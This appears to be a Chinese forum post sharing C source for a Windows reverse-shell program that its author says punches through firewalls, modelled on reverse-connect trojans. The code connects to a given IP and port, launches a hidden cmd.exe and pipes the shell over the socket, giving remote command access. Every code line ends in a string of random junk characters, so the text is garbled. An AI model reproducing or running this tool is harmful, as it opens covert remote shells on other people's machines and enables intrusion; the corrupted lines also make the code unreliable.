这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }$wWX}@
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/* ============================== i|/EA7
Rebound port in Windows NT Jmcf9g
By wind,2006/7 "I
n[= 2w
===============================*/ ;5.S"
#include HuRq0/"
#include wVMR&R<t
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#pragma comment(lib,"wsock32.lib") {zmh0c;|
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void OutputShell(); b$,~S\\c
SOCKET sClient; >`S $(f
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #y2IHO-
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void main(int argc,char **argv) MzP
q(`W
{ ] l@Mo7|w
WSADATA stWsaData; ka UEv\T
int nRet; !7fL'
SOCKADDR_IN stSaiClient,stSaiServer; 1SY`V?cu
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if(argc != 3) mDB?;a>
{ :Y\!~J3W
printf("Useage:\n\rRebound DestIP DestPort\n"); NW
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return; R32A2Ml
} y<0RgG1qp
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9% wVE]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *l9Wj$vja
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stSaiClient.sin_family = AF_INET; L3s1a -K
stSaiClient.sin_port = htons(0); Rg,]du u?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s ~Xa=_+D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R{R'byre
{ u.~`/O
printf("Bind Socket Failed!\n"); ?mME^?x
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return; |9&bkojo
} ]A%S&q
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stSaiServer.sin_family = AF_INET; OMM5p=2Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >$ok3-tuU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a* GiLq
) h>H}wDs
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )i$:iI
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{ QswbIP/>:'
printf("Connect Error!"); Lo-\;%y
return; iFBH;O_~
} /'<Qk'
OutputShell(); S9@2-Oc
} ^U@-Dp,k+
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void OutputShell() q8-*3K
{ 9~Ve}NB#z&
char szBuff[1024]; 3Y6W)$Q
SECURITY_ATTRIBUTES stSecurityAttributes; +61h!/<W
OSVERSIONINFO stOsversionInfo; x4 .Y&Wq#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G0^,@jF?b
STARTUPINFO stStartupInfo; nbf w7u
char *szShell; 1:Dm,d;
PROCESS_INFORMATION stProcessInformation; 48p< ~#<W\
unsigned long lBytesRead; 8-clL\bm
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {%PgR){qR
stSecurityAttributes.lpSecurityDescriptor = 0; {EL
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stSecurityAttributes.bInheritHandle = TRUE; |tua*zEsS
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \[MQJX,dn
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g$a
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YVT\@+C'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %!HBPLk
stStartupInfo.wShowWindow = SW_HIDE; 3^x
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stStartupInfo.hStdInput = hReadPipe; <>I4wqqb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KvtX>3#qM
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GetVersionEx(&stOsversionInfo); '3'*VcL(
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switch(stOsversionInfo.dwPlatformId) ! {c"C
{ ,lUr[xzV
case 1: Z?AX
szShell = "command.com"; bzh`s<+
break; UP?]5x>
default: Pi&8!e<
szShell = "cmd.exe"; GDBxciv
break; 3g''j7
} =,WW#tD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tLc9-
AC& }8w[>u
send(sClient,szMsg,77,0); FXd><#U
while(1) i<>zN^zn
{ p^/6Rb"e
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #lo1GoL\
if(lBytesRead) \pJBBG
{ Zwm2T3@e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~SD8#;v2
send(sClient,szBuff,lBytesRead,0); w>6~
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} '$m
uA\
else 8<X,6
{ !hS~\+E
lBytesRead=recv(sClient,szBuff,1024,0); `fm^#Nw
if(lBytesRead<=0) break; u?-X07_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PY{])z3N
} /QT"5fxKJ
} 8O='Q-&8
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return; jcVK4jW
}